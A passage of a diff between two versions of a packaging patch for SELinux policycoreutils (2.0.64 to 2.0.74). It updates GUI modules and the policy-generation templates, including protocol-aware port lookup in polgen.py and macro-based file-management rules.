 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
@@ -1588,9 +1588,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +  <name></name>
 +  <program_name></program_name>
 +</glade-project>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.py policycoreutils-2.0.64/gui/lockdown.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.py policycoreutils-2.0.74/gui/lockdown.py
 --- nsapolicycoreutils/gui/lockdown.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/lockdown.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,382 @@
 +#!/usr/bin/python
 +#
@@ -1974,9 +1974,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +    app = booleanWindow()
 +    app.stand_alone()
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/loginsPage.py policycoreutils-2.0.64/gui/loginsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/loginsPage.py policycoreutils-2.0.74/gui/loginsPage.py
 --- nsapolicycoreutils/gui/loginsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/loginsPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/loginsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,185 @@
 +## loginsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -2163,9 +2163,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.store.set_value(iter, 1, seuser)
 +        self.store.set_value(iter, 2, seobject.translate(serange))
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/Makefile policycoreutils-2.0.64/gui/Makefile
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/Makefile policycoreutils-2.0.74/gui/Makefile
 --- nsapolicycoreutils/gui/Makefile	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/Makefile	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/Makefile	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,41 @@
 +# Installation directories.
 +PREFIX ?= ${DESTDIR}/usr
@@ -2208,9 +2208,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +indent:
 +
 +relabel:
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/mappingsPage.py policycoreutils-2.0.64/gui/mappingsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/mappingsPage.py policycoreutils-2.0.74/gui/mappingsPage.py
 --- nsapolicycoreutils/gui/mappingsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/mappingsPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/mappingsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,56 @@
 +## mappingsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -2268,9 +2268,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        for k in keys:
 +            print "%-25s %-25s %-25s" % (k, dict[k][0], translate(dict[k][1]))
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/modulesPage.py policycoreutils-2.0.64/gui/modulesPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/modulesPage.py policycoreutils-2.0.74/gui/modulesPage.py
 --- nsapolicycoreutils/gui/modulesPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/modulesPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/modulesPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,190 @@
 +## modulesPage.py - show selinux mappings
 +## Copyright (C) 2006-2009 Red Hat, Inc.
@@ -2462,9 +2462,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +                
 +        except ValueError, e:
 +            self.error(e.args[0])
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.glade policycoreutils-2.0.64/gui/polgen.glade
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.glade policycoreutils-2.0.74/gui/polgen.glade
 --- nsapolicycoreutils/gui/polgen.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/polgen.glade	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.glade	2009-09-28 09:14:14.000000000 -0400
 @@ -0,0 +1,3305 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -5771,9 +5771,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +</widget>
 +
 +</glade-interface>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.gladep policycoreutils-2.0.64/gui/polgen.gladep
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.gladep policycoreutils-2.0.74/gui/polgen.gladep
 --- nsapolicycoreutils/gui/polgen.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/polgen.gladep	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.gladep	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
@@ -5782,9 +5782,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +  <name></name>
 +  <program_name></program_name>
 +</glade-project>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgengui.py policycoreutils-2.0.64/gui/polgengui.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgengui.py policycoreutils-2.0.74/gui/polgengui.py
 --- nsapolicycoreutils/gui/polgengui.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/polgengui.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgengui.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,627 @@
 +#!/usr/bin/python -E
 +#
@@ -6413,10 +6413,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +    app = childWindow()
 +    app.stand_alone()
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.64/gui/polgen.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.74/gui/polgen.py
 --- nsapolicycoreutils/gui/polgen.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/polgen.py	2009-06-25 16:01:33.000000000 -0400
-@@ -0,0 +1,1179 @@
++++ policycoreutils-2.0.74/gui/polgen.py	2009-10-01 11:36:54.000000000 -0400
+@@ -0,0 +1,1188 @@
 +#!/usr/bin/python
 +#
 +# Copyright (C) 2007, 2008, 2009 Red Hat 
@@ -6747,6 +6747,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +                self.need_udp_type=False
 +		self.admin_domains = []
 +		self.transition_domains = []
++		self.transition_users = []
 +                self.roles = []
 +                self.all_roles = get_all_roles()
 +
@@ -6786,10 +6787,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +        def use_network(self):
 +            return self.use_tcp() or self.use_udp()
 +        
-+        def find_port(self, port):
-+            for begin,end in self.ports.keys():
-+                if port >= begin and port <= end:
-+                    return self.ports[begin,end]
++        def find_port(self, port, protocol="tcp"):
++            for begin,end,p in self.ports.keys():
++                if port >= begin and port <= end and protocol == p:
++                    return self.ports[begin,end, protocol]
 +            return  None
 +
 +	def set_program(self, program):
@@ -6924,50 +6925,50 @@ diff --exclude-from=exclude -N -u -r nsa
 +            return line
 +                
 +	def generate_network_types(self):
-+                for i in self.in_tcp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_tcp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("tcp", "bind", port_name)
-+#                        line = "corenet_tcp_bind_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_tcp_ports:
-+                            self.found_tcp_ports.append(line)
-+
-+                for i in self.out_tcp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_tcp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("tcp", "connect", port_name)
-+#                        line = "corenet_tcp_connect_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_tcp_ports:
-+                            self.found_tcp_ports.append(line)
++            for i in self.in_tcp[PORTS]:
++                rec = self.find_port(int(i), "tcp")
++                if rec == None:
++                    self.need_tcp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("tcp", "bind", port_name)
++#                   line = "corenet_tcp_bind_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_tcp_ports:
++                        self.found_tcp_ports.append(line)
++
++            for i in self.out_tcp[PORTS]:
++                rec = self.find_port(int(i), "tcp")
++                if rec == None:
++                    self.need_tcp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("tcp", "connect", port_name)
++#                   line = "corenet_tcp_connect_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_tcp_ports:
++                        self.found_tcp_ports.append(line)
 +                        
-+                for i in self.in_udp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_udp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("udp", "bind", port_name)
-+#                        line = "corenet_udp_bind_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_udp_ports:
-+                            self.found_udp_ports.append(line)
++            for i in self.in_udp[PORTS]:
++                rec = self.find_port(int(i),"udp")
++                if rec == None:
++                    self.need_udp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("udp", "bind", port_name)
++#                   line = "corenet_udp_bind_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_udp_ports:
++                        self.found_udp_ports.append(line)
 +                
-+                if self.need_udp_type == True or self.need_tcp_type == True:
-+                    return re.sub("TEMPLATETYPE", self.name, network.te_port_types)
-+		return ""
++            if self.need_udp_type == True or self.need_tcp_type == True:
++                return re.sub("TEMPLATETYPE", self.name, network.te_port_types)
++            return ""
 +	
 +	def __find_path(self, file):
-+		for d in self.DEFAULT_DIRS:
-+			if file.find(d) == 0:
-+				self.DEFAULT_DIRS[d][1].append(file)
-+				return self.DEFAULT_DIRS[d]
-+		self.DEFAULT_DIRS["rw"][1].append(file)
-+		return self.DEFAULT_DIRS["rw"]
++            for d in self.DEFAULT_DIRS:
++                if file.find(d) == 0:
++                    self.DEFAULT_DIRS[d][1].append(file)
++                    return self.DEFAULT_DIRS[d]
++            self.DEFAULT_DIRS["rw"][1].append(file)
++            return self.DEFAULT_DIRS["rw"]
 +	
 +	def add_capability(self, capability):
 +            self.capabilities.append(capability)
@@ -7359,12 +7360,12 @@ diff --exclude-from=exclude -N -u -r nsa
 +			newsh += re.sub("FILENAME", i, script.restorecon)
 +
 +                for i in self.in_tcp[PORTS] + self.out_tcp[PORTS]:
-+                    if self.find_port(i) == None:
++                    if self.find_port(i,"tcp") == None:
 +                        t1 = re.sub("PORTNUM", "%d" % i, script.tcp_ports)
 +                        newsh += re.sub("TEMPLATETYPE", self.name, t1)
 +
 +                for i in self.in_udp[PORTS] + self.out_udp[PORTS]:
-+                    if self.find_port(i) == None:
++                    if self.find_port(i,"udp") == None:
 +			t1 = re.sub("PORTNUM", "%d" % i, script.udp_ports)
 +			newsh += re.sub("TEMPLATETYPE", self.name, t1)
 +
@@ -7548,9 +7549,11 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 +if __name__ == '__main__':
 +    setype = DAEMON
-+    gopts, cmds = getopt.getopt(sys.argv[1:], "t:m", 
++    gopts, cmds = getopt.getopt(sys.argv[1:], "ht:m", 
 +                                ["type=", 
-+                                 "mount"])
++                                 "mount",
++                                 "test",
++                                 "help"])
 +    for o, a in gopts:
 +        if o == "-t" or o == "--type":
 +            try:
@@ -7564,6 +7567,12 @@ diff --exclude-from=exclude -N -u -r nsa
 +        if o == "-m" or o == "--mount":
 +            mount_ind = True
 +                
++        if o == "-h" or o == "--help":
++            usage("")
++
++        if o == "--test":
++            test()
++            sys.exit(0)
 +            
 +    if len(cmds) == 0:
 +           usage(_("Executable required"))
@@ -7596,9 +7605,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 +    print mypolicy.generate()
 +    sys.exit(0)
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/portsPage.py policycoreutils-2.0.64/gui/portsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/portsPage.py policycoreutils-2.0.74/gui/portsPage.py
 --- nsapolicycoreutils/gui/portsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/portsPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/portsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,259 @@
 +## portsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -7859,9 +7868,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +        return True
 +        
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/selinux.tbl policycoreutils-2.0.64/gui/selinux.tbl
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/selinux.tbl policycoreutils-2.0.74/gui/selinux.tbl
 --- nsapolicycoreutils/gui/selinux.tbl	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/selinux.tbl	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/selinux.tbl	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,234 @@
 +acct_disable_trans _("SELinux Service Protection") _("Disable SELinux protection for acct daemon")
 +allow_daemons_dump_core _("Admin") _("Allow all daemons to write corefiles to /")
@@ -8097,9 +8106,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +webadm_manage_user_files _("HTTPD Service") _("Allow SELinux webadm user to manage unprivileged users home directories")
 +webadm_read_user_files _("HTTPD Service") _("Allow SELinux webadm user to read unprivileged users home directories")
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/semanagePage.py policycoreutils-2.0.64/gui/semanagePage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/semanagePage.py policycoreutils-2.0.74/gui/semanagePage.py
 --- nsapolicycoreutils/gui/semanagePage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/semanagePage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/semanagePage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,168 @@
 +## semanagePage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -8269,9 +8278,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.load(self.filter)
 +        return True
 +        
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/statusPage.py policycoreutils-2.0.64/gui/statusPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/statusPage.py policycoreutils-2.0.74/gui/statusPage.py
 --- nsapolicycoreutils/gui/statusPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/statusPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/statusPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,190 @@
 +# statusPage.py - show selinux status
 +## Copyright (C) 2006-2009 Red Hat, Inc.
@@ -8463,9 +8472,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        return self.types[self.selinuxTypeOptionMenu.get_active()]
 +
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.glade policycoreutils-2.0.64/gui/system-config-selinux.glade
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.glade policycoreutils-2.0.74/gui/system-config-selinux.glade
 --- nsapolicycoreutils/gui/system-config-selinux.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/system-config-selinux.glade	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,3403 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -11870,9 +11879,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +</widget>
 +
 +</glade-interface>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.py policycoreutils-2.0.64/gui/system-config-selinux.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.py policycoreutils-2.0.74/gui/system-config-selinux.py
 --- nsapolicycoreutils/gui/system-config-selinux.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/system-config-selinux.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/system-config-selinux.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,189 @@
 +#!/usr/bin/python
 +#
@@ -12063,9 +12072,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +    app = childWindow()
 +    app.stand_alone()
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/boolean.py policycoreutils-2.0.64/gui/templates/boolean.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/boolean.py policycoreutils-2.0.74/gui/templates/boolean.py
 --- nsapolicycoreutils/gui/templates/boolean.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/boolean.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,40 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12107,9 +12116,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +')
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/etc_rw.py policycoreutils-2.0.64/gui/templates/etc_rw.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/etc_rw.py policycoreutils-2.0.74/gui/templates/etc_rw.py
 --- nsapolicycoreutils/gui/templates/etc_rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/etc_rw.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12140,9 +12149,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_type(TEMPLATETYPE_etc_rw_t)
 +"""
 +te_rules="""
-+allow TEMPLATETYPE_t TEMPLATETYPE_etc_rw_t:file manage_file_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_etc_rw_t:dir manage_dir_perms;
-+files_etc_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_etc_rw_t, { file dir })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++files_etc_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, { file dir })
 +"""
 +
 +########################### Interface File #############################
@@ -12202,7 +12211,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_etc_rw_t;
 +	')
 +
-+        manage_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
++        manage_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
 +	files_search_etc($1)
 +')
 +
@@ -12221,9 +12230,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_etc_rw_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
-+         manage_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++         manage_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
 +')
 +
 +"""
@@ -12240,10 +12249,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_etc_rw_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.64/gui/templates/executable.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.74/gui/templates/executable.py
 --- nsapolicycoreutils/gui/templates/executable.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/executable.py	2009-06-23 16:24:31.000000000 -0400
-@@ -0,0 +1,376 @@
++++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-01 12:03:05.000000000 -0400
+@@ -0,0 +1,368 @@
 +# Copyright (C) 2007-2009 Red Hat 
 +# see file 'COPYING' for use and warranty information
 +#
@@ -12356,7 +12365,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_read_etc_files(TEMPLATETYPE_t)
 +
 +miscfiles_read_localization(TEMPLATETYPE_t)
-+
 +"""
 +
 +te_inetd_rules="""
@@ -12381,7 +12389,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +libs_use_shared_libs(TEMPLATETYPE_t)
 +
 +miscfiles_read_localization(TEMPLATETYPE_t)
-+
 +"""
 +
 +te_cgi_rules="""
@@ -12454,11 +12461,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +#
 +interface(`TEMPLATETYPE_domtrans',`
 +	gen_require(`
-+		type TEMPLATETYPE_t;
-+                type TEMPLATETYPE_exec_t;
++		type TEMPLATETYPE_t, TEMPLATETYPE_exec_t;
 +	')
 +
-+	domtrans_pattern($1,TEMPLATETYPE_exec_t,TEMPLATETYPE_t)
++	domtrans_pattern($1, TEMPLATETYPE_exec_t, TEMPLATETYPE_t)
 +')
 +
 +"""
@@ -12534,7 +12540,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_initrc_exec_t;
 +	')
 +
-+	init_labeled_script_domtrans($1,TEMPLATETYPE_initrc_exec_t)
++	init_labeled_script_domtrans($1, TEMPLATETYPE_initrc_exec_t)
 +')
 +"""
 +
@@ -12574,12 +12580,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +## </param>
 +## <param name="role">
 +##	<summary>
-+##	The role to be allowed to manage the TEMPLATETYPE domain.
-+##	</summary>
-+## </param>
-+## <param name="terminal">
-+##	<summary>
-+##	The type of the user terminal.
++##	Role allowed access.
 +##	</summary>
 +## </param>
 +## <rolecap/>
@@ -12620,9 +12621,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +EXECUTABLE	--	gen_context(system_u:object_r:TEMPLATETYPE_initrc_exec_t,s0)
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/__init__.py policycoreutils-2.0.64/gui/templates/__init__.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/__init__.py policycoreutils-2.0.74/gui/templates/__init__.py
 --- nsapolicycoreutils/gui/templates/__init__.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/__init__.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,18 @@
 +#
 +# Copyright (C) 2007 Red Hat, Inc.
@@ -12642,9 +12643,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 +#
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/network.py policycoreutils-2.0.64/gui/templates/network.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/network.py policycoreutils-2.0.74/gui/templates/network.py
 --- nsapolicycoreutils/gui/templates/network.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/network.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/network.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,80 @@
 +te_port_types="""
 +type TEMPLATETYPE_port_t;
@@ -12726,10 +12727,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +corenet_udp_bind_all_unreserved_ports(TEMPLATETYPE_t)
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/rw.py policycoreutils-2.0.64/gui/templates/rw.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/rw.py policycoreutils-2.0.74/gui/templates/rw.py
 --- nsapolicycoreutils/gui/templates/rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/rw.py	2009-06-23 16:24:31.000000000 -0400
-@@ -0,0 +1,128 @@
++++ policycoreutils-2.0.74/gui/templates/rw.py	2009-10-01 12:03:05.000000000 -0400
+@@ -0,0 +1,127 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
 +#
@@ -12759,8 +12760,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_rules="""
-+allow TEMPLATETYPE_t TEMPLATETYPE_rw_t:file manage_file_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_rw_t:dir create_dir_perms;
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +"""
 +
 +########################### Interface File #############################
@@ -12820,8 +12821,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_rw_t;
 +	')
 +
-+	allow $1 TEMPLATETYPE_rw_t:file manage_file_perms;
-+	allow $1 TEMPLATETYPE_rw_t:dir rw_dir_perms;
++         manage_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +')
 +
 +########################################
@@ -12839,9 +12839,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_rw_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
-+         manage_files_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++         manage_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +')
 +
 +"""
@@ -12858,9 +12858,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_rw_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.64/gui/templates/script.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.74/gui/templates/script.py
 --- nsapolicycoreutils/gui/templates/script.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/script.py	2009-06-25 16:00:57.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,99 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12961,9 +12961,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +# Adding roles to SELinux user USER
 +/usr/sbin/semanage user -m -R +TEMPLATETYPE_r USER
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.64/gui/templates/semodule.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.74/gui/templates/semodule.py
 --- nsapolicycoreutils/gui/templates/semodule.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/semodule.py	2009-06-23 16:24:31.000000000 -0400
